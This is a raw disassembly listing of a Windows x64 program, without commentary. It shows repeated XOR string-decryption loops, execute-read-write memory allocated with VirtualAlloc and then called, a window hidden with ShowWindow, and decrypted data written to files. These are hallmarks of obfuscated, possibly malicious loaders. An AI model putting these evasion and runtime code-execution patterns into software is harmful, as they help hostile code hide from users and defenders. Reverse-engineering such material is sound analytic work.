movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152520]
movups xmmword [rbp + 0x12c0], xmm0
movups xmm1, xmmword [0x140152530]
movups xmmword [rbp + 0x12d0], xmm1
movzx eax, word [0x140152540]
mov word [rbp + 0x12e0], ax
mov r8d, r14d
lea r9, [rbp + 0x12c0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x22
jl 0x1400daad9
lea rax, [rbp + 0x12c0]
mov qword [rbp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
mov qword [rbp + 0x688], r11
mov qword [rbp + 0x690], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x680], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dab86
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dab75
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dab5c
jmp 0x1400dab86
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dac75
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dabad
mov r8, r14
jmp 0x1400dac46
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dabc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x58]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152548]
movups xmmword [rbp + 0xec8], xmm0
movups xmm1, xmmword [0x140152558]
movups xmmword [rbp + 0xed8], xmm1
movzx eax, word [0x140152568]
mov word [rbp + 0xee8], ax
mov al, byte [0x14015256a]
mov byte [rbp + 0xeea], al
mov r8d, r14d
lea r9, [rbp + 0xec8]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x23
jl 0x1400dacd7
lea rax, [rbp + 0xec8]
mov qword [rbp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x698], xmm0
mov qword [rbp + 0x6a0], r11
mov qword [rbp + 0x6a8], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x698], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400dad84
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400dad73
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400dad5a
jmp 0x1400dad84
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400dae73
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dadab
mov r8, r14
jmp 0x1400dae44
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dadbe
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x60]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152570]
movups xmmword [rbp + 0x390], xmm0
movsd xmm0, qword [0x140152580]
movsd qword [rbp + 0x3a0], xmm0
movzx eax, word [0x140152588]
mov word [rbp + 0x3a8], ax
mov al, byte [0x14015258a]
mov byte [rbp + 0x3aa], al
mov r8d, r14d
lea r9, [rbp + 0x390]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1b
jl 0x1400daed7
lea rax, [rbp + 0x390]
mov qword [rbp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b0], xmm0
mov qword [rbp + 0x6b8], r11
mov qword [rbp + 0x6c0], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x6b0], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400daf84
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400daf73
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400daf5a
jmp 0x1400daf84
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400db073
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400dafab
mov r8, r14
jmp 0x1400db044
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400dafbe
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x68]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152590]
movups xmmword [rbp + 0xe80], xmm0
movsd xmm0, qword [0x1401525a0]
movsd qword [rbp + 0xe90], xmm0
mov eax, dword [0x1401525a8]
mov dword [rbp + 0xe98], eax
cmp byte [0x1401525ab], r14b
je 0x1400db102
mov r8d, r14d
lea r9, [rbp + 0xe80]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1c
jl 0x1400db0d2
lea rax, [rbp + 0xe80]
mov qword [rbp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c8], xmm0
mov qword [rbp + 0x6d0], r11
mov qword [rbp + 0x6d8], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x6c8], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400db17f
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400db16e
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400db155
jmp 0x1400db17f
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400db26e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400db1a6
mov r8, r14
jmp 0x1400db23f
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400db1b9
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x70]
mov rcx, rdi
call r8
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
lea rax, [rbp + 0x2ce8]
mov qword [rax], rbx
lea rcx, [rbp + 0x21a0]
call fcn.140004cf8
nop
lea rcx, [rbp + 0x21a0]
cmp qword [rbp + 0x21b8], 0xf
cmova rcx, qword [rbp + 0x21a0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
sub eax, 1
je 0x1400db2ec
sub eax, 1
je 0x1400e269f
sub eax, 1
je 0x1400e1e83
sub eax, 1
je 0x1400dd3fc
sub eax, 1
je 0x1400dbca7
cmp eax, 1
je 0x1400e5cd6
xor edx, edx
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2238], xmm0
mov qword [rbp + 0x2248], rax
mov eax, dword [0x1401525ac]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1401525b0]
mov word [rbp - 0x7c], ax
mov al, byte [0x1401525b2]
mov byte [rbp - 0x7a], al
mov r8d, r14d
lea r9, [rbp - 0x80]
mov ebx, 1
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400db333
xorps xmm0, xmm0
movups xmmword [rbp + 0xda0], xmm0
mov qword [rbp + 0xdb0], r14
mov qword [rbp + 0xdb8], r14
lea rax, [rbp - 0x80]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400db383
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xda0]
call fcn.140001438
lea r8, [rbp + 0xda0]
lea rdx, [rbp + 0x2238]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2250], xmm0
mov qword [rbp + 0x2260], rax
mov eax, dword [0x1401525b4]
mov dword [rbp - 0x78], eax
movzx eax, word [0x1401525b8]
mov word [rbp - 0x74], ax
mov al, byte [0x1401525ba]
mov byte [rbp - 0x72], al
mov r8d, r14d
lea r9, [rbp - 0x78]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400db3ee
xorps xmm0, xmm0
movups xmmword [rbp + 0xd00], xmm0
mov qword [rbp + 0xd10], r14
mov qword [rbp + 0xd18], r14
lea rax, [rbp - 0x78]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400db43e
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0xd00]
call fcn.140001438
lea r8, [rbp + 0xd00]
lea rdx, [rbp + 0x2250]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21f0], xmm0
mov qword [rbp + 0x2200], rax
mov eax, dword [0x1401525bc]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1401525c0]
mov word [rbp - 0x6c], ax
mov al, byte [0x1401525c2]
mov byte [rbp - 0x6a], al
mov r8d, r14d
lea r9, [rbp - 0x70]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400db4a9
xorps xmm0, xmm0
movups xmmword [rbp + 0xe40], xmm0
mov qword [rbp + 0xe50], r14
mov qword [rbp + 0xe58], r14
lea rax, [rbp - 0x70]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400db4f9
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xe40]
call fcn.140001438
lea r8, [rbp + 0xe40]
lea rdx, [rbp + 0x21f0]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x21c0], xmm0
mov qword [rbp + 0x21d0], rax
mov eax, dword [0x1401525c4]
mov dword [rbp - 0x68], eax
movzx eax, word [0x1401525c8]
mov word [rbp - 0x64], ax
mov al, byte [0x1401525ca]
mov byte [rbp - 0x62], al
mov r8d, r14d
lea r9, [rbp - 0x68]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400db564
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc0], xmm0
mov qword [rbp + 0xcd0], r14
mov qword [rbp + 0xcd8], r14
lea rax, [rbp - 0x68]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400db5b4
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xcc0]
call fcn.140001438
lea r8, [rbp + 0xcc0]
lea rdx, [rbp + 0x21c0]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2220], xmm0
mov qword [rbp + 0x2230], rax
mov eax, dword [0x1401525cc]
mov dword [rbp - 0x60], eax
movzx eax, word [0x1401525d0]
mov word [rbp - 0x5c], ax
mov al, byte [0x1401525d2]
mov byte [rbp - 0x5a], al
mov r8d, r14d
lea r9, [rbp - 0x60]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 7
jl 0x1400db61f
xorps xmm0, xmm0
movups xmmword [rbp + 0xce0], xmm0
mov qword [rbp + 0xcf0], r14
mov qword [rbp + 0xcf8], r14
lea rax, [rbp - 0x60]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x1400db66f
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xce0]
call fcn.140001438
lea r8, [rbp + 0xce0]
lea rdx, [rbp + 0x2220]
lea rcx, [rbp + 0x2a30]
call fcn.1400f3e90
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2920]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x1401525d8]
movups xmmword [rbp + 0x11b8], xmm0
movups xmm1, xmmword [0x1401525e8]
movups xmmword [rbp + 0x11c8], xmm1
movsd xmm0, qword [0x1401525f8]
movsd qword [rbp + 0x11d8], xmm0
mov eax, dword [0x140152600]
mov dword [rbp + 0x11e0], eax
movzx eax, word [0x140152604]
mov word [rbp + 0x11e4], ax
mov r8d, r14d
lea r9, [rbp + 0x11b8]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x2e
jl 0x1400db707
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x11b8]
lea rcx, [rbp + 0x2920]
call fcn.14000207c
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2810]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152608]
movups xmmword [rbp + 0x19a0], xmm0
movups xmm1, xmmword [0x140152618]
movups xmmword [rbp + 0x19b0], xmm1
movups xmm0, xmmword [0x140152628]
movups xmmword [rbp + 0x19c0], xmm0
mov r8d, r14d
lea r9, [rbp + 0x19a0]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x30
jl 0x1400db7a1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x19a0]
lea rcx, [rbp + 0x2810]
call fcn.14000207c
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2700]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152638]
movups xmmword [rbp + 0x1088], xmm0
movups xmm1, xmmword [0x140152648]
movups xmmword [rbp + 0x1098], xmm1
movsd xmm0, qword [0x140152658]
movsd qword [rbp + 0x10a8], xmm0
movzx eax, word [0x140152660]
mov word [rbp + 0x10b0], ax
mov al, byte [0x140152662]
mov byte [rbp + 0x10b2], al
mov r8d, r14d
lea r9, [rbp + 0x1088]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x2b
jl 0x1400db857
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x1088]
lea rcx, [rbp + 0x2700]
call fcn.14000207c
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x25f0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152668]
movups xmmword [rbp + 0x1008], xmm0
movups xmm1, xmmword [0x140152678]
movups xmmword [rbp + 0x1018], xmm1
movsd xmm0, qword [0x140152688]
movsd qword [rbp + 0x1028], xmm0
movzx eax, word [0x140152690]
mov word [rbp + 0x1030], ax
mov al, byte [0x140152692]
mov byte [rbp + 0x1032], al
mov r8d, r14d
lea r9, [rbp + 0x1008]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x2b
jl 0x1400db90d
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x1008]
lea rcx, [rbp + 0x25f0]
call fcn.14000207c
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x24e0]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x140152698]
movups xmmword [rbp + 0x1318], xmm0
movups xmm1, xmmword [0x1401526a8]
movups xmmword [rbp + 0x1328], xmm1
movsd xmm0, qword [0x1401526b8]
movsd qword [rbp + 0x1338], xmm0
mov al, byte [0x1401526c0]
mov byte [rbp + 0x1340], al
mov r8d, r14d
lea r9, [rbp + 0x1318]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x29
jl 0x1400db9b5
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x1318]
lea rcx, [rbp + 0x24e0]
call fcn.14000207c
nop
mov r8, qword [rbp + 0x2240]
mov rdx, qword [rbp + 0x2238]
sub r8, rdx
lea rcx, [rbp + 0x2920]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x2258]
mov rdx, qword [rbp + 0x2250]
sub r8, rdx
lea rcx, [rbp + 0x2810]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x21f8]
mov rdx, qword [rbp + 0x21f0]
sub r8, rdx
lea rcx, [rbp + 0x2700]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x21c8]
mov rdx, qword [rbp + 0x21c0]
sub r8, rdx
lea rcx, [rbp + 0x25f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x2228]
mov rdx, qword [rbp + 0x2220]
sub r8, rdx
lea rcx, [rbp + 0x24e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x2928]
call fcn.1400d7a48
test rax, rax
jne 0x1400dbad0
mov rax, qword [rbp + 0x2920]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2920]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x2818]
call fcn.1400d7a48
test rax, rax
jne 0x1400dbb03
mov rax, qword [rbp + 0x2810]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2810]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x2708]
call fcn.1400d7a48
test rax, rax
jne 0x1400dbb36
mov rax, qword [rbp + 0x2700]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x2700]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x25f8]
call fcn.1400d7a48
test rax, rax
jne 0x1400dbb69
mov rax, qword [rbp + 0x25f0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x25f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x24e8]
call fcn.1400d7a48
test rax, rax
jne 0x1400dbb9c
mov rax, qword [rbp + 0x24e0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x24e0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movups xmm0, xmmword [0x1401526c8]
movups xmmword [rbp + 0x1218], xmm0
movups xmm1, xmmword [0x1401526d8]
movups xmmword [rbp + 0x1228], xmm1
movsd xmm0, qword [0x1401526e8]
movsd qword [rbp + 0x1238], xmm0
mov eax, dword [0x1401526f0]
mov dword [rbp + 0x1240], eax
movzx eax, word [0x1401526f4]
mov word [rbp + 0x1244], ax
mov r8d, r14d
lea r9, [rbp + 0x1218]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
